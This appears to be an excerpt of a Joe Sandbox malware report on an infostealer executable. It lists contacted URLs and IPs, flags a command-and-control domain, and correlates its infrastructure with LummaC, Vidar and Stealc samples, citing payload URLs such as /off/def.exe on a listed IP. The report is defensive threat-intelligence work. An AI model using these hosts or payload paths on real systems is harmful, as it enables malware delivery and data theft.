https://player.vi	pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/about/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_116.6.dr	false		high
https://steamcommunity.com/my/wishlist/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiAIAB	pVbAZEFIpI.exe, 00000000.00000003.1585425286.0000000005733000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/pro	pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_116.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steambroadcast.B	pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/discussions/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.f	pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastT	pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/stats/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
216.58.208.228	www.google.com	United States	15169	GOOGLEUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.8
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580940
Start date and time:	2024-12-26 13:21:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	pVbAZEFIpI.exe renamed because original name is a hash value
Original Sample Name:	6ccc7dbf4f2bee3325ab58592bc9390d.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/67@19/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 184.28.89.167, 172.217.21.35, 142.250.181.142, 173.194.220.84, 184.30.22.94, 172.217.17.46, 23.32.238.130, 2.19.198.56, 192.229.221.95, 142.250.181.10, 172.217.17.42, 172.217.19.234, 172.217.17.74, 142.250.181.106, 172.217.21.42, 142.250.181.138, 216.58.208.234, 142.250.181.74, 172.217.19.202, 217.20.58.98, 172.217.17.35, 4.245.163.56, 184.28.90.27, 13.107.246.63
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Execution Graph export aborted for target pVbAZEFIpI.exe, PID 7548 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:22:44	API Interceptor	80x Sleep call for process: pVbAZEFIpI.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	MaZjv5XeQi.exe	Get hash	malicious	LummaC	Browse
	jT7sgjdTea.exe	Get hash	malicious	LummaC	Browse
	Y4svWfRK1L.exe	Get hash	malicious	LummaC	Browse
	YKri2nEBWE.exe	Get hash	malicious	LummaC	Browse
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse
	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	6GNqkkKY0j.exe	Get hash	malicious	LummaC	Browse
	Ebgl8jb6CW.exe	Get hash	malicious	LummaC	Browse
239.255.255.250	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse
	lBsKTx65QC.exe	Get hash	malicious	LummaC	Browse
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse
	http://booking.extranetguests.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
185.215.113.16	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	lBsKTx65QC.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MaZjv5XeQi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	jT7sgjdTea.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Y4svWfRK1L.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YKri2nEBWE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0c8cY5GOMh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
steamcommunity.com	RUUSfr6dVm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	9idglWFv95.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	tJd3ArrDAm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	gdtJGo7jH3.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	oQSTpQfzz5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	rkPR0Fo9Cb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	35jPLNPb3r.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	a7Sb42MqYv.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	C6xDdWG7hq.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
s-part-0035.t-0009.t-msedge.net	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	90m2xwxCOf.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	tFDKSN3TdH.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	V2s8yjvIJw.exe	Get hash	malicious	Iris Stealer	Browse	13.107.246.63
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	E6rBvcWFWu.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	k6olCJyvIj.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	BeoHXxE7q3.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MaZjv5XeQi.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	jT7sgjdTea.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Y4svWfRK1L.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	YKri2nEBWE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0c8cY5GOMh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.6.3
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
AKAMAI-ASUS	RUUSfr6dVm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	9idglWFv95.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	tJd3ArrDAm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	gdtJGo7jH3.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	oQSTpQfzz5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	rkPR0Fo9Cb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	35jPLNPb3r.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	a7Sb42MqYv.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	C6xDdWG7hq.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
WHOLESALECONNECTIONSNL	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	185.215.113.206
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	23.206.229.226
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.226
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.226
	https://mandrillapp.com/track/click/30903880/lamp.avocet.io?p=eyJzIjoiM2NCLS1TMlk4RWF3Nl9vVXV4SHlzRDZ5dmJJIiwidiI6MSwicCI6IntcInVcIjozMDkwMzg4MCxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2xhbXAuYXZvY2V0LmlvXFxcL25ldy11c2VyXCIsXCJpZFwiOlwiMTMxMTQyZmQwMzMxNDA4MWE0YmQyOGYzZDRmYmViYzRcIixcInVybF9pZHNcIjpbXCI0OWFlZTViODJkYzk4NGYxNTg2ZGIzZTYzNGE5ZWUxMDgxYjVmMDY5XCJdfSJ9	Get hash	malicious	Unknown	Browse	23.206.229.226
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	23.206.229.226
	gVMKOpATpQ.exe	Get hash	malicious	Unknown	Browse	23.206.229.226
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	23.206.229.226
	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse	23.206.229.226
a0e9f5d64349fb13191bc781f81f42e1	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	RUUSfr6dVm.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	9idglWFv95.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	tJd3ArrDAm.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	gdtJGo7jH3.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	oQSTpQfzz5.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	rkPR0Fo9Cb.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	35jPLNPb3r.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	a7Sb42MqYv.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 11:23:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9768604041666156
Encrypted:	false
SSDEEP:	48:8c40dNoTtsO+H6idAKZdA1oehwiZUklqehey+3:8/so5Zity
MD5:	6E3642B4F969EE89D1CF58F08CAC1BF5
SHA1:	8251B9B77364364AA9116E6F145592DA4811BD29
SHA-256:	DD152C961542CE0AAE9DCD62F835EFD4E8791EA1DAB6F1A7B3A66906B5FF4608
SHA-512:	F53A17347055D8B46B249E570DA7A618893479461DF2B74D670D2C81389EB65369344C982C2C96DAADC55DECFDA0F14C065924F30FFC4DAEC6AB0D2341A34E5B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....8...W..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........S%.T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 11:23:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9916246022458095
Encrypted:	false
SSDEEP:	48:890dNoTtsO+H6idAKZdA1leh/iZUkAQkqehdy+2:89so5ZY9Q0y
MD5:	BED97E41D226C9B29EC859E5663D16C2
SHA1:	5E8A130310DC3DBD4027EDC7520521D5518EBC16
SHA-256:	20AC3DB27AF60E958F9E134628DBDA0F5B98003B84157E284AC0ABE202FBD979
SHA-512:	F217F2957C292010B196B8C7EAD6293CB84B7AA65A0C0AF4011F0C51E274221A163DBAE90D9D4F9D6555256B6C361EE88CD33098F6883BAF70CAD8121E785FD9
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........W..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........S%.T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.00314324951354
Encrypted:	false
SSDEEP:	48:8D0dNoTtsObH6idAKZdA14t5eh7sFiZUkmgqeh7s7y+BX:8Dso5ZvnRy
MD5:	CB4A7859991D668881B590E92E86A54E
SHA1:	05BD60FDE15A3FFED42A1BA90525668317EA0DB3
SHA-256:	F3FFB195A090A997366DEF1FDDD7CF59AA5D6C2A89ADC1A1797CAEC44E4F3001
SHA-512:	043C6AF5710FA4E0D400D5B5C269158395039BEF39481E244101482A5DD170C2A91D9E6D17C69AD7BAD2FC24B704050BE791E7686E2B6B78D679782FD5792ABA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........S%.T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 11:23:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9919035276552903
Encrypted:	false
SSDEEP:	48:8A0dNoTtsO+H6idAKZdA16ehDiZUkwqehZy+R:8Aso5ZTjy
MD5:	F776C4A297D919C54A5CC31153EAE6E6
SHA1:	52675E7F6440283DAF6A29CD1217391177B124CF
SHA-256:	DCCBFD880154C0963B62CFB9F6480A4B1C562A72A3BB3BB1A28EFE9D0EA15D93
SHA-512:	6059C2E5456B7F578D19DB54ECBA1FA5C0BB5CDF37FA5283BE026CB56035A7F207834B9FAF2298D8BFC7793AE37D67A50A9722A4122F90E461D21A9908F30447
Malicious:	false
Reputation:	low
